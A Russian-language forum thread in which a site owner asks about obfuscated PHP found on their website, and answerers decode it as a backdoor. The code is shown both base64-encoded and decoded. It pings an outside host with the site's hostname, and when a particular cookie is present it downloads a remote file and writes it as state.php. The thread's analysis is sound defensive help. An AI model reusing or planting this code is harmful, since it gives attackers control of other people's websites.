Php код на сайте?

Question

[ProgerAN]

Я php не особо силен но не могли бы вы мне помочь что это за код

if (!isset($_COOKIE[base64_decode('X3ltX2l1cw==')])) { @file_get_contents(base64_decode('aHR0cDovL2wxbDAuY29tL3Av').$_SERVER['HTTP_HOST']); @setcookie(base64_decode('X3ltX2l1cw=='), 1, time()[phone], '/', $_SERVER['HTTP_HOST']); } if (isset($_COOKIE[base64_decode('cmVkNHU=')])) { @file_put_contents(base64_decode('c3RhdGUucGhw'), @file_get_contents(base64_decode('aHR0cDovL2wxbDAuY29tL2QudHh0'))); }

Answer 1

[Boris Köln]

Бэкдор это. Вас взломали.

if (!isset($_COOKIE['_ym_ius'])) {
	@file_get_contents('http://l1l0.com/p/' . $_SERVER['HTTP_HOST']);
	@setcookie('_ym_ius', 1, time() + 31536000, '/', $_SERVER['HTTP_HOST']);
}

if (isset($_COOKIE['red4u'])) {
	@file_put_contents('state.php', @file_get_contents('http://l1l0.com/d.txt'));
}

Comments

[Boris Köln]

Первый блок: для каждого посетителя сайта один раз информировать в этом злоумышленника.

Второй блок (вероятно, только когда злоумышленник сам заходит на ваш сайт): записать на ваш сайт новый скрипт. И потом, вероятно, через него злоумышленник будет управлять вашим сайтом.

Выложите сюда код из state.php

[ProgerAN]

Его нет

Answer 2

[l4m3r]

Троян. Скачивает какой-то php с l1l0.com/p чтобы затем мамкин хакер мог выполнить его по прямой ссылке. А там, скорей всего, воровство файлов твоих и паролей или еще чего.
Глянь код этого state.php